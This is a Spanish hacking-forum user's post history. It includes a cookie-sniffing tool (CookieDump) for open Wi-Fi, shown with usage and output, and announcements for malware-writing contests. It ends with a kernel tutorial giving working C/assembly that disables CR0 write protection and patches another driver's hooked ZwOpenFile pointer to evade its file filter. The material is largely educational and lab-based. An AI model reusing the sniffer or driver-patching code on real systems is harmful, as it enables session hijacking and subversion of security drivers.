elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Trabajando con las ramas de git (tercera parte)


  Mostrar Temas
Páginas: [1] 2 3 4 5 6 7 8 9
1  Foros Generales / Noticias / Sony incluye rootkit en el firmware 3.56 de la PS3 en: 31 Enero 2011, 13:57 pm
En la última actualización del firmware de la PS3, la 3.56, Sony ha incluído un rootkit que permite la ejecución de código al conectarse a PSN.Al parecer, el examen de la OFW ha encontrado una nueva función que permitirá a Sony descargar y ejecutar código cuando se conecta a PSN. El código que puede ejecutar es, obviamente, para comprobar si hay CFW o lo que sea, pero el código podría cambiar para comprobar si hay algo de verdad.

Esencialmente Sony ahora puede ejecutar código de forma remota en la PS3 tan pronto como se conecte. Esto puede hacer que Sony verifique los archivos del sistema o la búsqueda de homebrew. Sony puede cambiar el código y añadir nuevos métodos de detección sin ningún tipo de actualizaciones de firmware y como se ejecuta el código de forma remota no hay manera confiable para elaborar respuesta.

Si bien es posible revisión o quitar el código del firmware es probable que esto significa el fin de jugar en línea CFW (como PSN sólo puede comprobar antes de que esta entrada está activa), o por lo menos significa que será aún más fácil para Sony detectar y baneo de usuarios.


Para ampliar la información en este link (inglés)
http://psx-scene.com/forums/f118/caution-ps3-ofw-3-56-new-feature-rootkit-79149/

Traducción de google
http://translate.google.es/translate?js=n&prev=_t&hl=es&ie=UTF-8&layout=2&eotf=1&sl=en&tl=es&u=http://psx-scene.com/forums/f118/caution-ps3-ofw-3-56-new-feature-rootkit-79149/

Fuente: http://www.elotrolado.net/hilo_sony-incluye-rootkit-en-el-firmware-3-56-de-la-ps3_1565480
2  Foros Generales / Noticias / GeoHot hackea el sistema de PS3 en: 3 Enero 2011, 18:27 pm
Poco le ha durado a Sony su seguridad interna tras la conferencia fail0verflow llamada PS3 Epic Fail hace unos días.

NOTICIA REPETIDA

LEER : https://foro.elhacker.net/noticias/un_grupo_de_hackersacute_descifra_la_seguridad_de_la_ps3_y_permite_utilizar_linux-t315334.0.html
3  Seguridad Informática / Hacking / CookieDump, el FireSheep en C en: 9 Noviembre 2010, 21:19 pm
Hace ya unas semanas que salió en varios blog's de seguridad esta curiosa extensión para Firefox que te permitía capturar las cookies que eran enviadas a través de una red wifi no cifrada demostrando una vez más, la inseguridad que provoca el no implementar HTTPS en sitios web que requieran autentificado (y el peligro de conectarse a una red abierta).


Si se sabe algo sobre seguridad wifi no es difícil imaginarse como trabaja esta extensión. A partir de WinPcap/Libpcap pone la interfaz wifi en modo promiscuo (esta conectado con el AP y a la vez captura todo el trafico que circule por la red) y empieza a filtrar los paquetes y cuando tiene una cookie la enseña por pantalla.

Hace ya tiempo que quería trastear un poco con WinPcap y al leer la existencia de esta extensión me decidí. El resultado es una aplicación modo consola que captura la cookies que sean enviadas a través de nuestra red. Mi herramienta no es tan "directa" como lo es FireSheep (con un click ya se te abre una pestaña con las cookies capturadas) pero con la extensión Add N Edit Cookies de Firefox se puede conseguir el mismo resultado.

Aquí les enseño unas cuantas impresiones del resultado de la consola:

Citar
C:\CookieDump>CookieDump.exe
CookieDumper v1.0 by Hendrix
        hendrix@elhacker.net

Usage: CookieDump.exe [options]

Options:
        -l: List all devices
        -d number: Select a device. Example: -d 2
        -f "filter": Filter sites. Example: -f "www.google.com;www.msn.es;"
        -w file: Write output to file
        -n: Don't dump packets of your computer
C:\CookieDump>CookieDump.exe -l
  • Listing devices...

1. \Device\NPF_{1F217971-70F9-4315-8B2C-F5C5728EF91F} (VMware Virtual Ethernet Adapter)
2. \Device\NPF_{E4ABC72B-166E-4CD4-B9A4-E588012828C3} (Marvell Gigabit Ethernet Controller (Microsoft's Packet Scheduler) )
3. \Device\NPF_{34BA4DCA-4941-4C43-A33E-0CA83A295942} (VMware Virtual Ethernet Adapter)
4. \Device\NPF_{E442FFE1-9450-4E52-979B-F4B51F3B121C} (Intel(R) Wireless WiFi Link 4965AGN (Microsoft's Packet Scheduler) )

C:\CookieDump>CookieDump.exe -d 4

[Ok] Device numer 4 attatched
        Local Addr: 192.168.0.21

If you wanna terminate the program, press Ctrl+C

[Local] Cooie found!!  HSID=*****


[Local] Cooie found!!  HSID=****


[Local] Cooie found!!  HSID=****

(Evidentemente las cookies las e censurado  :P)

Como ven, su uso es bastante sencillo, con -l listamos las interfaces y con -d y el numero de interfaz la seleccionamos.

La opción -f es de filtrado, sirve para no mostrar las peticiones a url especificada. Se pueden incluir todas las que queramos, siempre terminadas con ; tal y como aparece en el ejemplo.

la opción -w es para guardar los resultados en un archivo de texto se guarda exactamente lo mismo que se muestra en la consola.

y finalmente la opción -n sirve para filtrar los paquetes locales, es decir, no capturamos lo que enviamos nosotros (así únicamente se nos imprimirán los paquetes que no genere nuestro PC).

En la descarga se incluye el ejecutable y el código, así como librerías necesarias para compilar  ;)

Descarga

Nota: Tras varios testeos el resultado obtenido es el mismo que el que obtuve con FireSheep, es decir, la captura de mis cookies. Probablemente es debido a mi tarjeta de red, agradecería a quien pudiera probar el FireSheep y luego mi aplicación, para ver si de verdad funciona. En teoría el código es el correcto.

PD: Si tengo tiempo, sacaré una herramienta de seguridad contra dicha aplicación  :)

Un Saludo  :)
4  Foros Generales / Noticias / Google opina que la privacidad no debe frenar en ningún caso a la tecnología en: 16 Julio 2010, 14:19 pm
El responsable del equipo de búsquedas mundial de Google, Amit Singhal, ha señalado que "la privacidad no debe frenar la tecnología", pues mejora de forma muy importante la vida de las personas, y añadió que la única forma de trabajar a favor de la privacidad es la transparencia.

Singhal estaba en Europa para reunirse con periodistas y bloggers y explicar la evolución del mundo de los buscadores de internet.


Explicó que Google se esfuerza para conseguir la máxima transparencia y conseguir la autorización explícita del usuario para usar sus datos en las búsquedas. Además, dijo, el internauta puede borrar sus datos e incluso puede realizar búsquedas en el ámbito privado de forma que estas no se registren.

Amit Singhal dijo que la tecnología, igual que la medicina, puede utilizarse de forma perversa, y lo que hay que hacer es trabajar para conseguir que los buscadores sigan evolucionando para ayudar a las personas respetando la privacidad.

A la pregunta de qué va a suceder con los procesos abiertos por la recogida de datos personales en su servicio de calles SreetView, dijo que están colaborando para subsanar los errores y tienen la intención de eliminar estos datos que fueron captados sin intención y, además, no tienen ningún interés en utilizarlos.

Para Amit Singhal, la libertad que tienen los ingenieros de Google para utilizar el 20% de su tiempo en el desarrollo que deseen ha permitido que este buscador consiga, por ejemplo, ser utilizado como una compleja calculadora.

Destacó como uno de los principales retos en estos años hacer que el sistema entendiera el significado de las palabras para realizar las búsquedas y dijo que ya se ha conseguido.

El futuro en el que trabaja Google es la "posibilidad de buscar sin buscar", de forma que un teléfono móvil informe al usuario de las situaciones que le interesan.

Por ejemplo si en la agenda de su móvil tiene previsto un determinado acto, Google informará automáticamente de la situación de tráfico, si hay algún problema eléctrico que puede dificultar el encuentro y otro tipo de informaciones importantes que permitirán un ahorro de tiempo y dinero, dijo.

Este tipo de búsquedas, añadió, pueden estar disponibles en cinco años.



Fuente: http://www.20minutos.es/noticia/766545/0/privacidad/freno/tecnologia/

Relacionado : https://foro.elhacker.net/noticias/amit_shingalgoogle_podria_reconocer_caras_pero_nos_comprometemos_a_no_hacerlo-t299713.0.html
5  Seguridad Informática / Análisis y Diseño de Malware / Concurso Mayo: CoreWar (Apuntate!!!) en: 28 Abril 2010, 17:13 pm



Dado que Abril Negro a fracasado estrepitosamente, propongo un nuevo concurso, del tipo CoreWar.



¿Que es un CoreWar?

Si nos atenemos a la definición de la Wikipedia, el CoreWar era una especie de juego informático en el que varios programas se disputaban el espacio de memoria o de disco de un computador. Logrando la victoria el programa que consiguiera abarcar más espacio, desbancando así a sus contrincantes.

Les dejo una definición que incluye algo de historia:

Citar
En 1939, el famoso científico matemático John Louis Von Neumann, de origen húngaro, escribió un artículo, publicado en una revista científica de New York, exponiendo su "Teoría y organización de autómatas complejos", donde presentaba la posibilidad de desarrollar  pequeños programas que pudiesen tomar el control de otros, de similar estructura.

En 1949, en los laboratorios de la Bell Computer, subsidiaria de la AT&T, 3 jóvenes programadores: Robert Thomas Morris, Douglas McIlroy y Victor Vysottsky, a manera de entretenimiento crearon un juego al que denominaron CoreWar, inspirados en la teoría de John Von Neumann.

El juego CoreWar fue desarrollado en Assembler Pnemónico, conocido como Red Code (código rojo) y hoy día es posible ejecutar dicho antiguo juego, por medio de un programa llamado MARS (Memory Array Redcode Simulator).

Puesto en la práctica, los contendores del CoreWar ejecutaban programas que iban paulatinamente disminuyendo la memoria del computador y el ganador era el que finalmente conseguía eliminarla totalmente. Este juego fue motivo de concursos en importantes centros de investigación como el de la Xerox en California y el Massachussets Technology Institute (MIT), entre otros.

Sin embargo durante muchos años el CoreWar fue mantenido en el anonimato, debido a que por aquellos años la computación era manejada por una pequeña élite de intelectuales.

Robert Thomas Morris, Douglas McIlroy y Victor Vysottsky, fueron los autores del precursor de los virus informáticos.
Fuente: http://www.persystems.net/sosvirus/hackers/corewar.htm


CoreWar by elhacker.net

Ya que actualmente disponemos de maquinas mucho más potentes que las que vieron nacer CoreWar, propongo cambiar drásticamente las reglas del juego, adaptándolas a los virus y tecnologías actuales. Paso a explicar las reglas en los siguientes puntos:

  • Objetivos del Concurso:

    El objetivo principal del concurso es la de hacer un "mini-torneo" en el que los participantes, tendrán que diseñar códigos los cuales tendrán como único objetivo la eliminación total de su contrincante.


  • Posibilidades de infección:

    Como los virus actuales, los programadores podrán programar subrutinas de infección de discos (archivos, sistema de ficheros, etc.) y memoria (inyección de código en procesos externos, escritura/lectura de procesos del contrincante, etc.). Se permitirá tanto la programación en modo usuario y en modo Kernel.


  • Condiciones de victoria:

    Para que un programador obtenga la victoria tendrá que conseguir terminar completamente el proceso en modo usuario de su contrincante. Además de eso, tendrá que eliminar y/o desinfectar totalmente el sistema comprometido por el virus de su contrincante (descargar completamente el código del virus del contrincante de la memoria, desinfectar ficheros, etc.).

    El enfrentamiento será dividido en 2 rondas, para que cada virus pueda iniciarse primero que el otro (factor importante a la hora de atacar o defenderse).

    Obligatoriamente, el primer virus que se ejecute tiene que dejar ejecutar el otro.

    Si un enfrentamiento termina sin que los 2 virus consigan terminar el otro en ambas rondas o de lo contrario los 2 virus perezcan en cada ronda, se dará el enfrentamiento como nulo, tuviendose que reprogramar los virus y volverse a enfrentar.


  • Escenario de Batalla:

    El sistema operativo que se usará será una instalación limpia (sin ningún programa instalado, exceptuando programas como Filemon, ProcessExplorer y demás que servirán para seguir el enfrentamiento) de un Windows XP SP3 con las últimas actualizaciones.


  • Analizando el código:


    El virus constará básicamente de dos partes fundamentales, el modulo de defensa y el modulo de ataque. El modulo de defensa es el que se tiene que desarrollar primero y, 3 días antes del enfrentamiento, se entregará el ejecutable del virus con la parte de la defensa terminada al contrincante y viceversa. Los programadores podrán analizar el ejecutable en sus máquinas virtuales. Una vez analizado el virus, tendrán que programar el modulo de ataque, que será el que intentará desinfectar completamente el virus del contrincante. Se puede programar una defensa para cada enfrentamiento, una vez entregada al contrincante no se podrá modificar dicho módulo. Si alguno sospecha de que su contrincante ha modificado el modulo de defensa, se podrá requerir el código y se compilará, para ver que coincida con el ejecutable que se entregó la primera vez.

    Los programadores tienen que publicar en este post el nombre en disco de su virus (en proceso puede ser diferente, incluso aleatorio), el nombre del virus y para más información, el lenguaje en que fue creado. Ejemplo:

    Nombre en disco: Cryptovirus.exe
    Nombre del Virus: CryptoHendrix.A
    Lenguaje de programación usado: C + ASM.


    Al finalizar el concurso, y para que todo el mundo pueda aprender, se publicaran todos los códigos usados por cada programador en sus virus. Los recopilaré dentro de un único archivo comprimido.


  • Limitaciones:

    Los virus no podrán en ningún caso desestabilizar el sistema. Si se produce BSOD o reinicio/apagado forzoso del sistema o relentización excesiva de este, se dará el enfrentamiento como perdido para el virus que lo ocasione. El enfrentamiento tendrá lugar en una maquina virtual, se pueden infectar los archivos que les de la gana siempre y cuando no se desestabilice el sistema.

    Los virus no se podrán conectar a Internet, ya que no tiene mucha utilizad dentro de lo que es el concurso.

    Los virus que usen drivers no podrán proteger en ningún caso los archivos del virus desde el driver, ya que imposibilitaría la eliminación correcta del virus en el sistema. Asimismo, se considerará como sistema limpio aquel en el que se elimine el ejecutable del virus y sus copias. El driver puede quedar en el sistema.




    Creo que no me dejo nada, si se hace algún cambio en las reglas se avisará. El inicio del torneo podría ser a mediados de Mayo, por ejemplo el Viernes 14 de Mayo. Del 1 de Mayo al 14 de Mayo se organizará el organigrama del torneo. El torneo será por eliminatorias (tipo Octavos de final, cuartos de final, semifinal y final). Los emparejamientos serán totalmente al azar. Si el numero de participantes es impar, uno de ellos automáticamente avanzará de ronda.

    Para apuntarse, déjenlo comentado en este post. En este primer post colocaré la lista de participantes y la iré actualizando según se anoten los concursantes. Cualquier duda, mejora o inclusión de alguna regla o lo que sea, comentenlo.

    PD: Me voy a anotar en este concurso, hace ya tiempo que no programo nada referente a malware y ya es hora  :D aunque estaré condicionado del tiempo que tenga libre, ya que con la uni no tengo mucho  :-\


    Lista de participantes:

    • Hendrix
    • Hacker_Zero
    • Lord R.N.A.
    • Karcrack
6  Seguridad Informática / Abril negro / Abril Negro 2010 en: 1 Abril 2010, 13:22 pm






Abril Negro 2010 da comienzo.


     Como cada año, en este mes se monta un "mini-concurso" para ver quien es el que mejor se maneja en cuanto a programación de malware. Creo que no hacen falta presentaciones, ya que más o menos todos sabéis de que se trata, aqui van las bases y premios del concurso.


  • Bases del concurso:

    Como cada año, se tienen que presentar las herramientas diseñadas por los participantes. Se puede tratar cualquier tema relacionado con el malware a excepción de DoS/DDoS.

    Los proyectos tienen que ser obligatoriamente open source, para que se puedan evaluar mejor las herramientas. Se tiene que presentar el proyecto comprimido con 2 carpetas en su interior, una para el exe (bin) y otra para el código (src), para que este bien presentado y ordenado.

    Los vencedores se decidirán por votación popular, es decir, los que se descarguen el proyecto y lo evalúen, votarán su proyecto favorito. Al final de la votación, el que tenga más puntos será el ganador. El 30 de Abril se publicará la lista final con todos los proyectos publicados en este Abril Negro. En esta lista los usuarios votarán su proyecto favorito. Esta lista quedará abierta 2 semanas (hasta el viernes 14 de Mayo).

    En caso de empate, miembros del Staff evaluaran los proyectos empatados y se decidirá el ganador según estos aspectos:

    • Innovación de la herramienta/código
    • Mejor código

    Para publicar los proyectos, se tiene que incluir la etiqueta [Abril Negro] delante del título de cada post.

  • Premios

    Los premios de este año, al igual que el anterior, constará de una cuenta @elhacker.net y la publicación en el tablón oficial de la aplicación, pero ya que este año contamos con el blog. Se publicará una entrada en dicho blog en la cual se presentará la aplicación ganadora de Abril Negro.

    Al final de dicho concurso, todas los proyectos presentados serán publicados en la lista de recopilatorio de aplicaciones de Abril Negro 2010.

    Anímense a participar en este concurso  :). Mucha suerte a todos los participantes, y que empiece la función!

7  Seguridad Informática / Análisis y Diseño de Malware / [Artículo] Parcheo de memoria en Drivers Externos en: 29 Octubre 2009, 20:21 pm
Hacia ya mucho tiempo que no publicaba nada por este foro, es hora de quitarse la oxidación que provoca esto, así que me e decidido a publicar este post.

Antes de nada, quiero decir que este post esta orientado a personas que sepan programar drivers, si eres de los que todavía no saben que es un driver, o no saben programarlo, por favor, lean este post.

Las respuestas a este mensaje de tipo técnico (problemas con la DDK, con las herramientas usadas, etc.) por favor, háganlos en otros posts y en los subforos correspondientes.

Cabe decir que este artículo es similar a uno que publiqué hace tiempo, lo tenia en PDF solamente y el host donde estaba alojado actualmente esta caído. Al no tener ninguna copia (y al tener un rato libre  :P) e decidido reescribirlo (y reprogramarlo) de nuevo.

Una vez explicado esto, comencemos  :)




Parcheo de memoria en Drivers Externos

¿Que se pretende conseguir?


Lo que pretendo conseguir es la modificación de memoria en drivers externos, es decir, conseguir modificar el comportamiento de un driver externo sin que este se entere de que está siendo modificado.

Herramientas a usar:

Yo e usado las siguientes:

  • DDk (obviamente)
  • WinDbg
  • OSR Drive Loader
  • DebugView
  • VMWare

Por si a alguien le interesa, que sepa que puede desensamblar el driver con un programa llamado Syser, el cual permite debuggear drivers  ;)

Driver Objetivo:

El driver que vamos a "destripar" es un driver que programé yo mismo, el cual nos bloquea  la eliminación del fichero C:\prueba.txt. El código del mismo será publicado al final.

Manos a la obra:


Bien, ya que es un entorno emulado, controlamos la ejecución del driver y conocemos la API que va a hookear, podemos sacar la dirección real de dicha API con el WinDbg. Para ello lo abrimos, Kernel Debug --> Local.

Una vez echo esto, escribimos u nt!NtOpenFile y nos da lo siguiente:

Citar
lkd> u nt!NtOpenFile
nt!NtOpenFile:
8056f41a 8bff             mov     edi,edi
8056f41c 55               push    ebp
8056f41d 8bec             mov     ebp,esp
8056f41f 33c0             xor     eax,eax
8056f421 50               push    eax
8056f422 50               push    eax
8056f423 50               push    eax
8056f424 50               push    eax

La dirección que está en negrita es la dirección en la SSDT de dicha API

Nota: Aunque nosotros hookeemos la API ZwOpenFile, en el WinDbg tenemos que escribir NtOpenFile, para obtener la dirección real.

Bien, nos anotamos en el notepad dicha dirección. (En el programa "parcheador", e harcodeado las direcciones para una mayor comodidad y para no complicar la cosa, aunque todas se pueden obtener automáticamente programando dichos módulos (por ejemplo, para sacar la dirección real de la API, etc.)).

Una vez tenemos esto, ya podemos cargar nuestro driver, y como vemos, hookea perfectamente y nos impide la eliminación del archivo antes mencionado:


Bien, ahora lo que tenemos que hacer es empezar a desensamblar la función que nos bloquea el acceso al fichero. Si buscamos su dirección en el IceSword la encontraremos rápidamente, aunque no hace falta, ya que lo e incluido yo mismo en el output del driver (lo veos con DebugView), para mayor comodidad.

La dirección de la función es:

Citar
Dirección después del Hook: 0xf7bcc4ce

Esto es en mi maquina virtual, en la suya puede ser diferente  ;)

Una vez tenemos la dirección, vamos a desensamblarla con el WinDbg, para ello escribimos: u 0xf7bcc4ce l40 nos da esto:

Citar
lkd> u 0xf7bcc4ce l40
f7bcc4ce 6a10             push    0x10
f7bcc4d0 6860c8bcf7       push    0xf7bcc860
f7bcc4d5 e88e020000       call    f7bcc768
f7bcc4da ff751c           push    dword ptr [ebp+0x1c]
f7bcc4dd ff7518           push    dword ptr [ebp+0x18]
f7bcc4e0 ff7514           push    dword ptr [ebp+0x14]
f7bcc4e3 8b7510           mov     esi,[ebp+0x10]
f7bcc4e6 56               push    esi
f7bcc4e7 ff750c           push    dword ptr [ebp+0xc]
f7bcc4ea 8b7d08           mov     edi,[ebp+0x8]
f7bcc4ed 57               push    edi
f7bcc4ee ff15a0c9bcf7     call    dword ptr [f7bcc9a0]
f7bcc4f4 85c0             test    eax,eax
f7bcc4f6 0f8583000000     jne     f7bcc57f
f7bcc4fc 2145fc           and     [ebp-0x4],eax
f7bcc4ff 6a01             push    0x1
f7bcc501 ff7608           push    dword ptr [esi+0x8]
f7bcc504 8d45e0           lea     eax,[ebp-0x20]
f7bcc507 50               push    eax
f7bcc508 ff1508c8bcf7     call    dword ptr [f7bcc808]
f7bcc50e 8b45e4           mov     eax,[ebp-0x1c]
f7bcc511 be80c9bcf7       mov     esi,0xf7bcc980
f7bcc516 8a16             mov     dl,[esi]
f7bcc518 8aca             mov     cl,dl
f7bcc51a 3a10             cmp     dl,[eax]
f7bcc51c 751a             jnz     f7bcc538
f7bcc51e 84c9             test    cl,cl
f7bcc520 7412             jz      f7bcc534
f7bcc522 8a5601           mov     dl,[esi+0x1]
f7bcc525 8aca             mov     cl,dl
f7bcc527 3a5001           cmp     dl,[eax+0x1]
f7bcc52a 750c             jnz     f7bcc538
f7bcc52c 46               inc     esi
f7bcc52d 46               inc     esi
f7bcc52e 40               inc     eax
f7bcc52f 40               inc     eax
f7bcc530 84c9             test    cl,cl
f7bcc532 75e2             jnz     f7bcc516
f7bcc534 33c0             xor     eax,eax
f7bcc536 eb05             jmp     f7bcc53d
f7bcc538 1bc0             sbb     eax,eax
f7bcc53a 83d8ff           sbb     eax,0xffffffff
f7bcc53d 85c0             test    eax,eax
f7bcc53f 7538             jnz     f7bcc579
f7bcc541 f6450e01         test    byte ptr [ebp+0xe],0x1
f7bcc545 7432             jz      f7bcc579
f7bcc547 6880c4bcf7       push    0xf7bcc480
f7bcc54c e809020000       call    f7bcc75a
f7bcc551 59               pop     ecx
f7bcc552 57               push    edi
f7bcc553 ff1500c8bcf7     call    dword ptr [f7bcc800]
f7bcc559 832700           and     dword ptr [edi],0x0
f7bcc55c 834dfcff         or      dword ptr [ebp-0x4],0xffffffff
f7bcc560 b8080000c0       mov     eax,0xc0000008
f7bcc565 eb18             jmp     f7bcc57f
f7bcc567 33c0             xor     eax,eax
f7bcc569 40               inc     eax
f7bcc56a c3               ret
f7bcc56b 8b65e8           mov     esp,[ebp-0x18]
f7bcc56e 68a4c4bcf7       push    0xf7bcc4a4
f7bcc573 e8e2010000       call    f7bcc75a
f7bcc578 59               pop     ecx
f7bcc579 834dfcff         or      dword ptr [ebp-0x4],0xffffffff
f7bcc57d 33c0             xor     eax,eax

Como vemos nos muestra un montón de información, aunque, rápidamente, vemos lo que nos interesa, concretamente esto:

Citar
f7bcc4da ff751c           push    dword ptr [ebp+0x1c]
f7bcc4dd ff7518           push    dword ptr [ebp+0x18]
f7bcc4e0 ff7514           push    dword ptr [ebp+0x14]
f7bcc4e3 8b7510           mov     esi,[ebp+0x10]
f7bcc4e6 56               push    esi
f7bcc4e7 ff750c           push    dword ptr [ebp+0xc]
f7bcc4ea 8b7d08           mov     edi,[ebp+0x8]
f7bcc4ed 57               push    edi
f7bcc4ee ff15a0c9bcf7     call    dword ptr [f7bcc9a0]

Como vemos, hay unos cuantos push, y luego un call a la dirección almacenada en 0xf7c5caa0. Humm, esto suena a variable!!, vamos a ver que hay dentro, para ello: dd 0xf7bcc9a0:

Citar
dd f7bcc9a0
f7bcc9a0  8056f41a f7abbb9c 00000000 00000000
f7bcc9b0  00000000 00000000 00000000 00000000
f7bcc9c0  00000000 00000000 00000000 00000000
f7bcc9d0  00000000 00000000 00000000 00000000
f7bcc9e0  00000000 00000000 00000000 00000000
f7bcc9f0  00000000 00000000 00000000 00000000
f7bcca00  00000000 55ff8b00 98a1ec8b 85f7bcc9
f7bcca10  bb40b9c0 04740000 2375c13b c82c158b

Bingo!! les suena de algo la dirección subrayada? Exacto, es la dirección real de la api ZwOpenFile (Si no están seguros, escriban u 0x8056f41a y automáticamente el WinDbg les va a resolver el nombre  ;))

Bien, ya sabemos que en la dirección 0xf7c5caa0 se encuentra almacenada la dirección real a la API. Por lo que podemos interpretar el siguiente código en ensamblador:

Código
  1. Push ArgumentoX
  2. Push ArgumentoX-1
  3. ...
  4. ...
  5. ...
  6. Push Argumento2
  7. Push Argumento1
  8. Push Argumento0
  9. Call Api

Que, efectivamente, es la llamada a la API, bien, lo que tenemos que hacer, es que en lugar de saltar a la API real, nos salte a una función nuestra, la cual estará formada por los argumentos correspondientes a ZwOpenFile, así que no quedará la siguiente función:

Código:
NTSTATUS ZwOpenFileRep(OUT PHANDLE FileHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,OUT PIO_STATUS_BLOCK IoStatusBlock,IN ULONG  ShareAccess,IN ULONG OpenOptions)

Bien, pensemos la jugada, lo que vamos a hacer es escribir la dirección de nuestra función dentro de la variable del otro driver, el cual se cree que dicha variable contiene la variable real y, sin verificar nada, salta directamente hacia la función, en la cual nosotros tomaremos el control y lo que vamos a hacer será, llamar a la API real, le pasaremos los parámetros adecuados y ejecutará la acción pertinente, una vez ejecutado, lo que vamos a hacer será limpiar los datos de un argumento (el que contiene la ruta del archivo a eliminar), lo que lograremos así será saltarnos el filtro del driver, ya que como no tiene ningún dato, no puede aplicar su filtro.

Bien, si leíste el post que publiqué sobre la introducción a la programación de drivers, te acordarás que no podemos modificar la memoria "al tun tun", ya que esta protegida y lo único que conseguiríamos seria un bonito BSOD. Para ello, me e servido del siguiente código:

Antes de modificar la memoria:

Código
  1. __asm
  2. {
  3. cli
  4. push eax
  5. mov eax, cr0
  6. and eax, 0xFFFEFFFF
  7. mov cr0, eax
  8. pop eax
  9. }

Después de modificar la memoria:

Código
  1. __asm
  2. {
  3. push eax
  4. mov eax, cr0
  5. or eax, not 0xFFFEFFFF
  6. mov cr0, eax
  7. pop eax
  8. sti
  9. }

Bien, antes de seguir trabajando definiremos las variables que usaremos, yo e usado las siguiente:

Código
  1. DWORD det;
  2. DWORD dir;
  3. DWORD MyDir;
  4.  
  5. det = (DWORD) 0xf7c80aa0;
  6. dir = (DWORD) 0x8056f41a;
  7. MyDir = (DWORD) ZwOpenFileRep;

En la variable det está la dirección de la variable del driver en la cual está guardada la variable (Se puede obtener esta dirección con un código en ensamblador en el que, con un bucle, recorramos la memoria del driver en busca de datos que empiecen por 8056 (los primeros dígitos de la dirección real de la API), yo no me e querido complicar tanto y lo e harcodeado).
En dir esta la dirección real de la API y en MyDir la dirección de mi función, donde recibiré la llamada del driver "victima".

El código que e usado para sobrescribir la memoria del driver no es muy "elegante", pero bueno, aquí esta:

Código
  1. __try
  2.    {
  3. //Parcheamos la variable del programa victima con la dirección de nuestra función
  4. *(DWORD*)det = MyDir;
  5.  
  6.   }
  7.  
  8.   __except(EXCEPTION_EXECUTE_HANDLER)
  9.   {
  10. DbgPrint("Error en el procesamiento del Driver");
  11.   }

Escribo el Try & Catch porque sirve de mucho para evitar alguna que otra BSOD, así que recomiendo su uso.

Dicho esto, el DriverEntry de nuestro driver nos quedaría así:

Código
  1. NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING theRegistryPath)
  2. {
  3.    NTSTATUS s = STATUS_SUCCESS;
  4.  
  5. det = (DWORD) 0xf7c80aa0;
  6. dir = (DWORD) 0x8056f41a;
  7. MyDir = (DWORD) ZwOpenFileRep;
  8.  
  9. DriverObject->DriverUnload=OnUnload;
  10.  
  11. DbgPrint("Modificado de memoria. Por Hendrix");
  12.  
  13.  
  14.   ZwOpenFileIni =(typeZwOpenFile)dir;
  15.  
  16.   __asm
  17. {
  18. cli
  19. push eax
  20. mov eax, cr0
  21. and eax, 0xFFFEFFFF
  22. mov cr0, eax
  23. pop eax
  24. }
  25.  
  26.   __try
  27.    {
  28. //Parcheamos la variable del programa victima con la dirección de nuestra función
  29. *(DWORD*)det = MyDir;
  30.  
  31.   }
  32.  
  33.   __except(EXCEPTION_EXECUTE_HANDLER)
  34.   {
  35. DbgPrint("Error en el procesamiento del Driver");
  36.   }
  37.  
  38.   __asm
  39. {
  40. push eax
  41. mov eax, cr0
  42. or eax, not 0xFFFEFFFF
  43. mov cr0, eax
  44. pop eax
  45. sti
  46. }
  47.  
  48.   DbgPrint("Hook inyectado!!");
  49.   return s;
  50. }

En el evento UnLoad del driver tenemos que acordarnos a restaurar la variable del driver "victima", ya que de lo contrario, va a llamar a una dirección de memoria invalida y provocará BSOD  ;) Así que dejamos el evento UnLoad de la siguiente manera:

Código
  1. VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
  2. {
  3.   DbgPrint("Descargando driver...");
  4.  
  5.   __asm
  6. {
  7. cli
  8. push eax
  9. mov eax, cr0
  10. and eax, 0xFFFEFFFF
  11. mov cr0, eax
  12. pop eax
  13. }
  14.  
  15.   __try
  16.    {
  17. //Reparamos la variable del driver victima con la dirección real de la API.
  18. *(DWORD*)det = (DWORD)ZwOpenFileIni;
  19.   }
  20.  
  21.   __except(EXCEPTION_EXECUTE_HANDLER)
  22.   {
  23. DbgPrint("Error en el procesamiento del Driver");
  24.   }
  25.  
  26.   __asm
  27. {
  28. push eax
  29. mov eax, cr0
  30. or eax, not 0xFFFEFFFF
  31. mov cr0, eax
  32. pop eax
  33. sti
  34. }
  35. }

Como vemos, es exactamente el mismo código que el del DriverEntry, pero esta vez escribimos la dirección real en lugar de la dirección de nuestra función.

Vamos al siguiente paso, la función que recibirá la llamada.

Esta función es la misma que utilizaríamos si quisiéramos hookear a ZwOpenFile (de echo, yo e reciclado la función del driver "victima" y la e pegado tal cual en el "envenenador").

Pego la función aquí y explicare el único punto importante que hay:

Código
  1. NTSTATUS ZwOpenFileRep(OUT PHANDLE FileHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,OUT PIO_STATUS_BLOCK IoStatusBlock,IN ULONG  ShareAccess,IN ULONG OpenOptions)
  2. {
  3.  
  4.   NTSTATUS ntStatus;
  5.   OBJECT_ATTRIBUTES oa;
  6.  
  7.  
  8.   ntStatus = ((typeZwOpenFile)(ZwOpenFileIni)) (FileHandle, DesiredAccess, ObjectAttributes, IoStatusBlock,  ShareAccess, OpenOptions);
  9.   if (ntStatus!=STATUS_SUCCESS) return ntStatus;
  10.  
  11. __try
  12.    {
  13. //Limpiamos toda la información de la estructura para que no nos pillen el nombre del fichero
  14. RtlZeroMemory(ObjectAttributes,sizeof(ObjectAttributes));
  15. InitializeObjectAttributes(ObjectAttributes,NULL,0,NULL,NULL);
  16.  
  17.   }
  18.  
  19.   __except(EXCEPTION_EXECUTE_HANDLER)
  20.   {
  21. DbgPrint("Error en el procesamiento del Driver");
  22.   }
  23.  
  24.   return ntStatus;
  25. }

Como ven en los comentarios, el punto importante es el uso de la función InitializeObjectAttributes para resetear la estructura ObjectAttributes, ya que en esta estructura, entre otras cosas, se almacena la ruta del archivo con el que se va a tratar. Si lo reseteamos, el driver "victima" nunca podrá saber el nombre del archivo, y como no esta en su filtro, dejará ejecutar la acción.

Una vez tenemos esto, podemos probar nuestro código. Ejecutamos primero el driver victima y miramos lo que contiene su variable en la que tiene que haber la dirección real de la API ZwOpenFile, esto es lo que nos muestra:

Citar
lkd> dd f7bcc9a0
f7bcc9a0  8056f41a f7abbb9c 00000000 00000000
f7bcc9b0  00000000 00000000 00000000 00000000
f7bcc9c0  00000000 00000000 00000000 00000000
f7bcc9d0  00000000 00000000 00000000 00000000
